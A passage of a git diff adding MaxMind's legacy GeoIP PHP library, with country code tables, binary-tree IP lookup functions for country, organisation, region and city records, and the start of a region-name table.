"ZM","ME","ZW","A1","A2","O1","AX","GG","IM","JE", + "BL","MF", "BQ"); + var $GEOIP_COUNTRY_CODES3 = array( + "","AP","EU","AND","ARE","AFG","ATG","AIA","ALB","ARM","CUW", + "AGO","ATA","ARG","ASM","AUT","AUS","ABW","AZE","BIH","BRB", + "BGD","BEL","BFA","BGR","BHR","BDI","BEN","BMU","BRN","BOL", + "BRA","BHS","BTN","BVT","BWA","BLR","BLZ","CAN","CCK","COD", + "CAF","COG","CHE","CIV","COK","CHL","CMR","CHN","COL","CRI", + "CUB","CPV","CXR","CYP","CZE","DEU","DJI","DNK","DMA","DOM", + "DZA","ECU","EST","EGY","ESH","ERI","ESP","ETH","FIN","FJI", + "FLK","FSM","FRO","FRA","SXM","GAB","GBR","GRD","GEO","GUF", + "GHA","GIB","GRL","GMB","GIN","GLP","GNQ","GRC","SGS","GTM", + "GUM","GNB","GUY","HKG","HMD","HND","HRV","HTI","HUN","IDN", + "IRL","ISR","IND","IOT","IRQ","IRN","ISL","ITA","JAM","JOR", + "JPN","KEN","KGZ","KHM","KIR","COM","KNA","PRK","KOR","KWT", + "CYM","KAZ","LAO","LBN","LCA","LIE","LKA","LBR","LSO","LTU", + "LUX","LVA","LBY","MAR","MCO","MDA","MDG","MHL","MKD","MLI", + "MMR","MNG","MAC","MNP","MTQ","MRT","MSR","MLT","MUS","MDV", + "MWI","MEX","MYS","MOZ","NAM","NCL","NER","NFK","NGA","NIC", + "NLD","NOR","NPL","NRU","NIU","NZL","OMN","PAN","PER","PYF", + "PNG","PHL","PAK","POL","SPM","PCN","PRI","PSE","PRT","PLW", + "PRY","QAT","REU","ROU","RUS","RWA","SAU","SLB","SYC","SDN", + "SWE","SGP","SHN","SVN","SJM","SVK","SLE","SMR","SEN","SOM", + "SUR","STP","SLV","SYR","SWZ","TCA","TCD","ATF","TGO","THA", + "TJK","TKL","TKM","TUN","TON","TLS","TUR","TTO","TUV","TWN", + "TZA","UKR","UGA","UMI","USA","URY","UZB","VAT","VCT","VEN", + "VGB","VIR","VNM","VUT","WLF","WSM","YEM","MYT","SRB","ZAF", + "ZMB","MNE","ZWE","A1","A2","O1","ALA","GGY","IMN","JEY", + "BLM","MAF", "BES" + ); + var $GEOIP_COUNTRY_NAMES = array( + "","Asia/Pacific Region","Europe","Andorra","United Arab Emirates","Afghanistan","Antigua and Barbuda","Anguilla","Albania","Armenia","Curacao", + "Angola","Antarctica","Argentina","American Samoa","Austria","Australia","Aruba","Azerbaijan","Bosnia and Herzegovina","Barbados", + "Bangladesh","Belgium","Burkina Faso","Bulgaria","Bahrain","Burundi","Benin","Bermuda","Brunei Darussalam","Bolivia", + "Brazil","Bahamas","Bhutan","Bouvet Island","Botswana","Belarus","Belize","Canada","Cocos (Keeling) Islands","Congo, The Democratic Republic of the", + "Central African Republic","Congo","Switzerland","Cote D'Ivoire","Cook Islands","Chile","Cameroon","China","Colombia","Costa Rica", + "Cuba","Cape Verde","Christmas Island","Cyprus","Czech Republic","Germany","Djibouti","Denmark","Dominica","Dominican Republic", + "Algeria","Ecuador","Estonia","Egypt","Western Sahara","Eritrea","Spain","Ethiopia","Finland","Fiji", + "Falkland Islands (Malvinas)","Micronesia, Federated States of","Faroe Islands","France","Sint Maarten (Dutch part)","Gabon","United Kingdom","Grenada","Georgia","French Guiana", + "Ghana","Gibraltar","Greenland","Gambia","Guinea","Guadeloupe","Equatorial Guinea","Greece","South Georgia and the South Sandwich Islands","Guatemala", + "Guam","Guinea-Bissau","Guyana","Hong Kong","Heard Island and McDonald Islands","Honduras","Croatia","Haiti","Hungary","Indonesia", + "Ireland","Israel","India","British Indian Ocean Territory","Iraq","Iran, Islamic Republic of","Iceland","Italy","Jamaica","Jordan", + "Japan","Kenya","Kyrgyzstan","Cambodia","Kiribati","Comoros","Saint Kitts and Nevis","Korea, Democratic People's Republic of","Korea, Republic of","Kuwait", + "Cayman Islands","Kazakhstan","Lao People's Democratic Republic","Lebanon","Saint Lucia","Liechtenstein","Sri Lanka","Liberia","Lesotho","Lithuania", + "Luxembourg","Latvia","Libya","Morocco","Monaco","Moldova, Republic of","Madagascar","Marshall Islands","Macedonia","Mali", + "Myanmar","Mongolia","Macau","Northern Mariana Islands","Martinique","Mauritania","Montserrat","Malta","Mauritius","Maldives", + "Malawi","Mexico","Malaysia","Mozambique","Namibia","New Caledonia","Niger","Norfolk Island","Nigeria","Nicaragua", + "Netherlands","Norway","Nepal","Nauru","Niue","New Zealand","Oman","Panama","Peru","French Polynesia", + "Papua New Guinea","Philippines","Pakistan","Poland","Saint Pierre and Miquelon","Pitcairn Islands","Puerto Rico","Palestinian Territory","Portugal","Palau", + "Paraguay","Qatar","Reunion","Romania","Russian Federation","Rwanda","Saudi Arabia","Solomon Islands","Seychelles","Sudan", + "Sweden","Singapore","Saint Helena","Slovenia","Svalbard and Jan Mayen","Slovakia","Sierra Leone","San Marino","Senegal","Somalia","Suriname", + "Sao Tome and Principe","El Salvador","Syrian Arab Republic","Swaziland","Turks and Caicos Islands","Chad","French Southern Territories","Togo","Thailand", + "Tajikistan","Tokelau","Turkmenistan","Tunisia","Tonga","Timor-Leste","Turkey","Trinidad and Tobago","Tuvalu","Taiwan", + "Tanzania, United Republic of","Ukraine","Uganda","United States Minor Outlying Islands","United States","Uruguay","Uzbekistan","Holy See (Vatican City State)","Saint Vincent and the Grenadines","Venezuela", + "Virgin Islands, British","Virgin Islands, U.S.","Vietnam","Vanuatu","Wallis and Futuna","Samoa","Yemen","Mayotte","Serbia","South Africa", + "Zambia","Montenegro","Zimbabwe","Anonymous Proxy","Satellite Provider","Other","Aland Islands","Guernsey","Isle of Man","Jersey", + "Saint Barthelemy","Saint Martin", "Bonaire, Saint Eustatius and Saba" +); + + var $GEOIP_CONTINENT_CODES = array( + "--", "AS","EU","EU","AS","AS","NA","NA","EU","AS","NA", + "AF","AN","SA","OC","EU","OC","NA","AS","EU","NA", + "AS","EU","AF","EU","AS","AF","AF","NA","AS","SA", + "SA","NA","AS","AN","AF","EU","NA","NA","AS","AF", + "AF","AF","EU","AF","OC","SA","AF","AS","SA","NA", + "NA","AF","AS","AS","EU","EU","AF","EU","NA","NA", + "AF","SA","EU","AF","AF","AF","EU","AF","EU","OC", + "SA","OC","EU","EU","NA","AF","EU","NA","AS","SA", + "AF","EU","NA","AF","AF","NA","AF","EU","AN","NA", + "OC","AF","SA","AS","AN","NA","EU","NA","EU","AS", + "EU","AS","AS","AS","AS","AS","EU","EU","NA","AS", + "AS","AF","AS","AS","OC","AF","NA","AS","AS","AS", + "NA","AS","AS","AS","NA","EU","AS","AF","AF","EU", + "EU","EU","AF","AF","EU","EU","AF","OC","EU","AF", + "AS","AS","AS","OC","NA","AF","NA","EU","AF","AS", + "AF","NA","AS","AF","AF","OC","AF","OC","AF","NA", + "EU","EU","AS","OC","OC","OC","AS","NA","SA","OC", + "OC","AS","AS","EU","NA","OC","NA","AS","EU","OC", + "SA","AS","AF","EU","EU","AF","AS","OC","AF","AF", + "EU","AS","AF","EU","EU","EU","AF","EU","AF","AF", + "SA","AF","NA","AS","AF","NA","AF","AN","AF","AS", + "AS","OC","AS","AF","OC","AS","EU","NA","OC","AS", + "AF","EU","AF","OC","NA","SA","AS","EU","NA","SA", + "NA","NA","AS","OC","OC","OC","AS","AF","EU","AF", + "AF","EU","AF","--","--","--","EU","EU","EU","EU", + "NA","NA","NA" +); + +} + +if (!function_exists('geoip_load_shared_mem ')){ +function geoip_load_shared_mem ($file) { + + $fp = fopen($file, "rb"); + if (!$fp) { + print "error opening $file: $php_errormsg\n"; + exit; + } + $s_array = fstat($fp); + $size = $s_array['size']; + if ($shmid = @shmop_open (GEOIP_SHM_KEY, "w", 0, 0)) { + shmop_delete ($shmid); + shmop_close ($shmid); + } + $shmid = shmop_open (GEOIP_SHM_KEY, "c", 0644, $size); + shmop_write ($shmid, fread($fp, $size), 0); + shmop_close ($shmid); +} +} + +if (!function_exists('_setup_segments')){ +function _setup_segments($gi){ + $gi->databaseType = GEOIP_COUNTRY_EDITION; + $gi->record_length = STANDARD_RECORD_LENGTH; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $offset = @shmop_size ($gi->shmid) - 3; + for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { + $delim = @shmop_read ($gi->shmid, $offset, 3); + $offset += 3; + if ($delim == (chr(255).chr(255).chr(255))) { + $gi->databaseType = ord(@shmop_read ($gi->shmid, $offset, 1)); + $offset++; + + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; + } else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; + } else if (($gi->databaseType == GEOIP_CITY_EDITION_REV0)|| + ($gi->databaseType == GEOIP_CITY_EDITION_REV1) + || ($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION_V6) + || ($gi->databaseType == GEOIP_LOCATIONA_EDITION) + || ($gi->databaseType == GEOIP_ACCURACYRADIUS_EDITION) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_ASNUM_EDITION) + || ($gi->databaseType == GEOIP_ASNUM_EDITION_V6)){ + $gi->databaseSegments = 0; + $buf = @shmop_read ($gi->shmid, $offset, SEGMENT_RECORD_LENGTH); + for ($j = 0;$j < SEGMENT_RECORD_LENGTH;$j++){ + $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); + } + if (($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6)) { + $gi->record_length = ORG_RECORD_LENGTH; + } + } + break; + } else { + $offset -= 4; + } + } + if (($gi->databaseType == GEOIP_COUNTRY_EDITION)|| + ($gi->databaseType == GEOIP_COUNTRY_EDITION_V6)|| + ($gi->databaseType == GEOIP_PROXY_EDITION)|| + ($gi->databaseType == GEOIP_NETSPEED_EDITION)){ + $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; + } + } else { + $filepos = ftell($gi->filehandle); + fseek($gi->filehandle, -3, SEEK_END); + for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { + $delim = fread($gi->filehandle,3); + if ($delim == (chr(255).chr(255).chr(255))){ + $gi->databaseType = ord(fread($gi->filehandle,1)); + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; + } + else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; + } else if (($gi->databaseType == GEOIP_CITY_EDITION_REV0) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + || ($gi->databaseType == GEOIP_LOCATIONA_EDITION) + || ($gi->databaseType == GEOIP_ACCURACYRADIUS_EDITION) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION_V6) + || ($gi->databaseType == GEOIP_ASNUM_EDITION) + || ($gi->databaseType == GEOIP_ASNUM_EDITION_V6)){ + $gi->databaseSegments = 0; + $buf = fread($gi->filehandle,SEGMENT_RECORD_LENGTH); + for ($j = 0;$j < SEGMENT_RECORD_LENGTH;$j++){ + $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); + } + if ( ( $gi->databaseType == GEOIP_ORG_EDITION ) + || ( $gi->databaseType == GEOIP_DOMAIN_EDITION ) + || ( $gi->databaseType == GEOIP_ISP_EDITION ) + || ( $gi->databaseType == GEOIP_ORG_EDITION_V6 ) + || ( $gi->databaseType == GEOIP_DOMAIN_EDITION_V6 ) + || ( $gi->databaseType == GEOIP_ISP_EDITION_V6 )) { + $gi->record_length = ORG_RECORD_LENGTH; + } + } + break; + } else { + fseek($gi->filehandle, -4, SEEK_CUR); + } + } + if (($gi->databaseType == GEOIP_COUNTRY_EDITION)|| + ($gi->databaseType == GEOIP_COUNTRY_EDITION_V6)|| + ($gi->databaseType == GEOIP_PROXY_EDITION)|| + ($gi->databaseType == GEOIP_NETSPEED_EDITION)){ + $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; + } + fseek($gi->filehandle,$filepos,SEEK_SET); + } + return $gi; +} +} + +if (!function_exists('geoip_open')){ +function geoip_open($filename, $flags) { + $gi = new GeoIP; + $gi->flags = $flags; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $gi->shmid = @shmop_open (GEOIP_SHM_KEY, "a", 0, 0); + } else { + $gi->filehandle = fopen($filename,"rb") or die( "Can not open $filename\n" ); + if ($gi->flags & GEOIP_MEMORY_CACHE) { + $s_array = fstat($gi->filehandle); + $gi->memory_buffer = fread($gi->filehandle, $s_array['size']); + } + } + + $gi = _setup_segments($gi); + return $gi; +} +} + +if (!function_exists('geoip_close')){ +function geoip_close($gi) { + if ($gi->flags & GEOIP_SHARED_MEMORY) { + return true; + } + + return fclose($gi->filehandle); +} +} + +if (!function_exists('geoip_country_id_by_name_v6')){ +function geoip_country_id_by_name_v6($gi, $name) { + $rec = dns_get_record($name, DNS_AAAA); + if ( !$rec ) { + return false; + } + $addr = $rec[0]["ipv6"]; + if (!$addr || $addr == $name) { + return false; + } + return geoip_country_id_by_addr_v6($gi, $addr); +} +} + +if (!function_exists('geoip_country_id_by_name')){ +function geoip_country_id_by_name($gi, $name) { + $addr = gethostbyname($name); + if (!$addr || $addr == $name) { + return false; + } + return geoip_country_id_by_addr($gi, $addr); +} +} + +if (!function_exists('geoip_country_code_by_name_v6')){ +function geoip_country_code_by_name_v6($gi, $name) { + $country_id = geoip_country_id_by_name_v6($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} +} + +if (!function_exists('geoip_country_code_by_name')){ +function geoip_country_code_by_name($gi, $name) { + $country_id = geoip_country_id_by_name($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} +} + +if (!function_exists('geoip_country_name_by_name_v6')){ +function geoip_country_name_by_name_v6($gi, $name) { + $country_id = geoip_country_id_by_name_v6($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} +} + +if (!function_exists('geoip_country_name_by_name')){ +function geoip_country_name_by_name($gi, $name) { + $country_id = geoip_country_id_by_name($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} +} + +if (!function_exists('geoip_country_id_by_addr_v6')){ +function geoip_country_id_by_addr_v6($gi, $addr) { + $ipnum = inet_pton($addr); + return _geoip_seek_country_v6($gi, $ipnum) - GEOIP_COUNTRY_BEGIN; +} +} + +if (!function_exists('geoip_country_id_by_addr')){ +function geoip_country_id_by_addr($gi, $addr) { + $ipnum = ip2long($addr); + return _geoip_seek_country($gi, $ipnum) - GEOIP_COUNTRY_BEGIN; +} +} + +if (!function_exists('geoip_country_code_by_addr_v6')){ +function geoip_country_code_by_addr_v6($gi, $addr) { + $country_id = geoip_country_id_by_addr_v6($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} +} + +if (!function_exists('geoip_country_code_by_addr')){ +function geoip_country_code_by_addr($gi, $addr) { + if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { + $record = geoip_record_by_addr($gi,$addr); + if ( $record !== false ) { + return $record->country_code; + } + } else { + $country_id = geoip_country_id_by_addr($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + } + return false; +} +} + +if (!function_exists('geoip_country_name_by_addr_v6')){ +function geoip_country_name_by_addr_v6($gi, $addr) { + $country_id = geoip_country_id_by_addr_v6($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} +} + +if (!function_exists('geoip_country_name_by_addr')){ +function geoip_country_name_by_addr($gi, $addr) { + if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { + $record = geoip_record_by_addr($gi,$addr); + return $record->country_name; + } else { + $country_id = geoip_country_id_by_addr($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + } + return false; +} +} + +if (!function_exists('_geoip_seek_country_v6')){ +function _geoip_seek_country_v6($gi, $ipnum) { + + # arrays from unpack start with offset 1 + # yet another php mystery. array_merge work around + # this broken behaviour + $v6vec = array_merge(unpack( "C16", $ipnum)); + + $offset = 0; + for ($depth = 127; $depth >= 0; --$depth) { + if ($gi->flags & GEOIP_MEMORY_CACHE) { + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + + $buf = substr($gi->memory_buffer, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length); + + mb_internal_encoding($enc); + } elseif ($gi->flags & GEOIP_SHARED_MEMORY) { + $buf = @shmop_read ($gi->shmid, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length ); + } else { + fseek($gi->filehandle, 2 * $gi->record_length * $offset, SEEK_SET) == 0 + or die("fseek failed"); + $buf = fread($gi->filehandle, 2 * $gi->record_length); + } + $x = array(0,0); + for ($i = 0; $i < 2; ++$i) { + for ($j = 0; $j < $gi->record_length; ++$j) { + $x[$i] += ord($buf[$gi->record_length * $i + $j]) << ($j * 8); + } + } + + $bnum = 127 - $depth; + $idx = $bnum >> 3; + $b_mask = 1 << ( $bnum & 7 ^ 7 ); + if (($v6vec[$idx] & $b_mask) > 0) { + if ($x[1] >= $gi->databaseSegments) { + return $x[1]; + } + $offset = $x[1]; + } else { + if ($x[0] >= $gi->databaseSegments) { + return $x[0]; + } + $offset = $x[0]; + } + } + trigger_error("error traversing database - perhaps it is corrupt?", E_USER_ERROR); + return false; +} +} + +if (!function_exists('_geoip_seek_country')){ +function _geoip_seek_country($gi, $ipnum) { + $offset = 0; + for ($depth = 31; $depth >= 0; --$depth) { + if ($gi->flags & GEOIP_MEMORY_CACHE) { + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + + $buf = substr($gi->memory_buffer, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length); + + mb_internal_encoding($enc); + } elseif ($gi->flags & GEOIP_SHARED_MEMORY) { + $buf = @shmop_read ($gi->shmid, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length ); + } else { + fseek($gi->filehandle, 2 * $gi->record_length * $offset, SEEK_SET) == 0 + or die("fseek failed"); + $buf = fread($gi->filehandle, 2 * $gi->record_length); + } + $x = array(0,0); + for ($i = 0; $i < 2; ++$i) { + for ($j = 0; $j < $gi->record_length; ++$j) { + $x[$i] += ord($buf[$gi->record_length * $i + $j]) << ($j * 8); + } + } + if ($ipnum & (1 << $depth)) { + if ($x[1] >= $gi->databaseSegments) { + return $x[1]; + } + $offset = $x[1]; + } else { + if ($x[0] >= $gi->databaseSegments) { + return $x[0]; + } + $offset = $x[0]; + } + } + trigger_error("error traversing database - perhaps it is corrupt?", E_USER_ERROR); + return false; +} +} + +if (!function_exists('_common_get_org')){ +function _common_get_org($gi, $seek_org){ + $record_pointer = $seek_org + (2 * $gi->record_length - 1) * $gi->databaseSegments; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $org_buf = @shmop_read ($gi->shmid, $record_pointer, MAX_ORG_RECORD_LENGTH); + } else { + fseek($gi->filehandle, $record_pointer, SEEK_SET); + $org_buf = fread($gi->filehandle,MAX_ORG_RECORD_LENGTH); + } + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + $org_buf = substr($org_buf, 0, strpos($org_buf, "\0")); + mb_internal_encoding($enc); + return $org_buf; +} +} + +if (!function_exists('_get_org_v6')){ +function _get_org_v6($gi,$ipnum){ + $seek_org = _geoip_seek_country_v6($gi,$ipnum); + if ($seek_org == $gi->databaseSegments) { + return NULL; + } + return _common_get_org($gi, $seek_org); +} +} + +if (!function_exists('_get_org')){ +function _get_org($gi,$ipnum){ + $seek_org = _geoip_seek_country($gi,$ipnum); + if ($seek_org == $gi->databaseSegments) { + return NULL; + } + return _common_get_org($gi, $seek_org); +} +} + + + +if (!function_exists('geoip_name_by_addr_v6 ')){ +function geoip_name_by_addr_v6 ($gi,$addr) { + if ($addr == NULL) { + return 0; + } + $ipnum = inet_pton($addr); + return _get_org_v6($gi, $ipnum); +} +} + +if (!function_exists('geoip_name_by_addr ')){ +function geoip_name_by_addr ($gi,$addr) { + if ($addr == NULL) { + return 0; + } + $ipnum = ip2long($addr); + return _get_org($gi, $ipnum); +} +} + +if (!function_exists('geoip_org_by_addr ')){ +function geoip_org_by_addr ($gi,$addr) { + return geoip_name_by_addr($gi, $addr); +} +} + +if (!function_exists('_get_region')){ +function _get_region($gi,$ipnum){ + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ + $seek_region = _geoip_seek_country($gi,$ipnum) - GEOIP_STATE_BEGIN_REV0; + if ($seek_region >= 1000){ + $country_code = "US"; + $region = chr(($seek_region - 1000)/26 + 65) . chr(($seek_region - 1000)%26 + 65); + } else { + $country_code = $gi->GEOIP_COUNTRY_CODES[$seek_region]; + $region = ""; + } + return array ($country_code,$region); + } else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1) { + $seek_region = _geoip_seek_country($gi,$ipnum) - GEOIP_STATE_BEGIN_REV1; + //print $seek_region; + if ($seek_region < US_OFFSET){ + $country_code = ""; + $region = ""; + } else if ($seek_region < CANADA_OFFSET) { + $country_code = "US"; + $region = chr(($seek_region - US_OFFSET)/26 + 65) . chr(($seek_region - US_OFFSET)%26 + 65); + } else if ($seek_region < WORLD_OFFSET) { + $country_code = "CA"; + $region = chr(($seek_region - CANADA_OFFSET)/26 + 65) . chr(($seek_region - CANADA_OFFSET)%26 + 65); + } else { + $country_code = $gi->GEOIP_COUNTRY_CODES[($seek_region - WORLD_OFFSET) / FIPS_RANGE]; + $region = ""; + } + return array ($country_code,$region); + } +} +} + +if (!function_exists('geoip_region_by_addr ')){ +function geoip_region_by_addr ($gi,$addr) { + if ($addr == NULL) { + return 0; + } + $ipnum = ip2long($addr); + return _get_region($gi, $ipnum); +} +} + +if (!function_exists('getdnsattributes ')){ +function getdnsattributes ($l,$ip){ + $r = new Net_DNS_Resolver(); + $r->nameservers = array("ws1.maxmind.com"); + $p = $r->search($l."." . $ip .".s.maxmind.com","TXT","IN"); + $str = is_object($p->answer[0])?$p->answer[0]->string():''; + $str = substr( $str, 1, -1 ); + return $str; +} +} + +?> diff --git a/tools/geoip/geoipcity.inc b/tools/geoip/geoipcity.inc new file mode 100755 index 0000000..a93c3d3 --- /dev/null +++ b/tools/geoip/geoipcity.inc @@ -0,0 +1,237 @@ +country_code = $value; + } + if ($key == "ci"){ + $record->city = $value; + } + if ($key == "re"){ + $record->region = $value; + } + if ($key == "ac"){ + $record->areacode = $value; + } + if ($key == "dm" || $key == "me" ){ + $record->dmacode = $value; + $record->metrocode = $value; + } + if ($key == "is"){ + $record->isp = $value; + } + if ($key == "or"){ + $record->org = $value; + } + if ($key == "zi"){ + $record->postal_code = $value; + } + if ($key == "la"){ + $record->latitude = $value; + } + if ($key == "lo"){ + $record->longitude = $value; + } + } + $number = $GLOBALS['GEOIP_COUNTRY_CODE_TO_NUMBER'][$record->country_code]; + $record->country_code3 = $GLOBALS['GEOIP_COUNTRY_CODES3'][$number]; + $record->country_name = $GLOBALS['GEOIP_COUNTRY_NAMES'][$number]; + if ($record->region != "") { + if (($record->country_code == "US") || ($record->country_code == "CA")){ + $record->regionname = $GLOBALS['ISO'][$record->country_code][$record->region]; + } else { + $record->regionname = $GLOBALS['FIPS'][$record->country_code][$record->region]; + } + } + return $record; +} + + +function _get_record_v6($gi,$ipnum){ + $seek_country = _geoip_seek_country_v6($gi,$ipnum); + if ($seek_country == $gi->databaseSegments) { + return NULL; + } + return _common_get_record($gi, $seek_country); +} + +function _common_get_record($gi, $seek_country){ + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + + $record_pointer = $seek_country + (2 * $gi->record_length - 1) * $gi->databaseSegments; + + if ($gi->flags & GEOIP_MEMORY_CACHE) { + $record_buf = substr($gi->memory_buffer,$record_pointer,FULL_RECORD_LENGTH); + } elseif ($gi->flags & GEOIP_SHARED_MEMORY){ + $record_buf = @shmop_read($gi->shmid,$record_pointer,FULL_RECORD_LENGTH); + } else { + fseek($gi->filehandle, $record_pointer, SEEK_SET); + $record_buf = fread($gi->filehandle,FULL_RECORD_LENGTH); + } + $record = new geoiprecord; + $record_buf_pos = 0; + $char = ord(substr($record_buf,$record_buf_pos,1)); + $record->country_code = $gi->GEOIP_COUNTRY_CODES[$char]; + $record->country_code3 = $gi->GEOIP_COUNTRY_CODES3[$char]; + $record->country_name = $gi->GEOIP_COUNTRY_NAMES[$char]; + $record->continent_code = $gi->GEOIP_CONTINENT_CODES[$char]; + $record_buf_pos++; + $str_length = 0; + // Get region + $char = ord(substr($record_buf,$record_buf_pos+$str_length,1)); + while ($char != 0){ + $str_length++; + $char = ord(substr($record_buf,$record_buf_pos+$str_length,1)); + } + if ($str_length > 0){ + $record->region = substr($record_buf,$record_buf_pos,$str_length); + } + $record_buf_pos += $str_length + 1; + $str_length = 0; + // Get city + $char = ord(substr($record_buf,$record_buf_pos+$str_length,1)); + while ($char != 0){ + $str_length++; + $char = ord(substr($record_buf,$record_buf_pos+$str_length,1)); + } + if ($str_length > 0){ + $record->city = substr($record_buf,$record_buf_pos,$str_length); + } + $record_buf_pos += $str_length + 1; + $str_length = 0; + // Get postal code + $char = ord(substr($record_buf,$record_buf_pos+$str_length,1)); + while ($char != 0){ + $str_length++; + $char = ord(substr($record_buf,$record_buf_pos+$str_length,1)); + } + if ($str_length > 0){ + $record->postal_code = substr($record_buf,$record_buf_pos,$str_length); + } + $record_buf_pos += $str_length + 1; + $str_length = 0; + // Get latitude and longitude + $latitude = 0; + $longitude = 0; + for ($j = 0;$j < 3; ++$j){ + $char = ord(substr($record_buf,$record_buf_pos++,1)); + $latitude += ($char << ($j * 8)); + } + $record->latitude = ($latitude/10000) - 180; + for ($j = 0;$j < 3; ++$j){ + $char = ord(substr($record_buf,$record_buf_pos++,1)); + $longitude += ($char << ($j * 8)); + } + $record->longitude = ($longitude/10000) - 180; + if (GEOIP_CITY_EDITION_REV1 == $gi->databaseType){ + $metroarea_combo = 0; + if ($record->country_code == "US"){ + for ($j = 0;$j < 3;++$j){ + $char = ord(substr($record_buf,$record_buf_pos++,1)); + $metroarea_combo += ($char << ($j * 8)); + } + $record->metro_code = $record->dma_code = floor($metroarea_combo/1000); + $record->area_code = $metroarea_combo%1000; + } + } + mb_internal_encoding($enc); + return $record; +} + +function GeoIP_record_by_addr_v6 ($gi,$addr){ + if ($addr == NULL){ + return 0; + } + $ipnum = inet_pton($addr); + return _get_record_v6($gi, $ipnum); +} + +function _get_record($gi,$ipnum){ + $seek_country = _geoip_seek_country($gi,$ipnum); + if ($seek_country == $gi->databaseSegments) { + return NULL; + } + return _common_get_record($gi, $seek_country); +} + +function GeoIP_record_by_addr ($gi,$addr){ + if ($addr == NULL){ + return 0; + } + $ipnum = ip2long($addr); + return _get_record($gi, $ipnum); +} + +?> diff --git a/tools/geoip/geoipregionvars.php b/tools/geoip/geoipregionvars.php new file mode 100755 index 0000000..c18a4af --- /dev/null +++ b/tools/geoip/geoipregionvars.php @@ -0,0 +1,4192 @@ + array( + "02" => "Canillo", + "03" => "Encamp", + "04" => "La Massana", + "05" => "Ordino", + "06" => "Sant Julia de Loria", + "07" => "Andorra la Vella", + "08" => "Escaldes-Engordany"), +"AE" => array( + "01" => "Abu Dhabi", + "02" => "Ajman", + "03" => "Dubai", + "04" => "Fujairah", + "05" => "Ras Al Khaimah", + "06" => "Sharjah", + "07" => 